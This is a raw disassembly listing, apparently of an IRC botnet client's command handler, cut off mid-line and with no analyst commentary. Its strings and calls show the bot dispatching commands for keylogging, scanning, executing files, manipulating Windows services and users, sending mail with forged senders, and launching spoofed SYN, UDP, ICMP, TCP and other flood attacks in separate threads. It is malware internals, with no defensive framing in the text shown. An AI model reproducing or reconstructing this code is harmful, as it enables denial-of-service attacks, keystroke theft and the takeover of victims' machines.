sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42B618 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42B5EC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42B5CC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_1 ; "#f" push offset byte_43D7E8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B5A8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset sub_411CF4 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h call dword_427078 ; Sleep jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42B56C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB704, ebx jz short loc_40604E cmp dword_4CB72C, ebx jz short loc_40604E push offset unk_42B530 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42B504 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42B4E4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_4 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42B49C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42B47C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42B45C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42B43C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42B410 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42B3F4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42BBC8 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC_0 ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset sub_4146CE push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h call dword_427078 ; Sleep jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42B264 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42B21C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset sub_413626 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h call dword_427078 ; Sleep jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42B1E0 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42D0F4 ; " " push offset dword_42BBC4 push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CB5A4 ; WSAStartup lea eax, [ebp+var_47EC] push eax call dword_4CB6B8 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4CB6B4 ; socket push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB634 ; htons mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB5DC ; connect mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB64C ; recv lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CB684 ; send push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB64C ; recv push esi call dword_4CB6CC ; closesocket call dword_4CB58C ; WSACleanup lea eax, [ebp+var_4588] push eax push offset unk_42B0A0 loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42B058 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42B014 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset sub_413E35 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h call dword_427078 ; Sleep jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42AFDC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42AFA4 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB724, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42AF5C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset sub_413284 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h call dword_427078 ; Sleep jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42AF24 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42AED0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42AE98 loc_4070F5: ; CODE 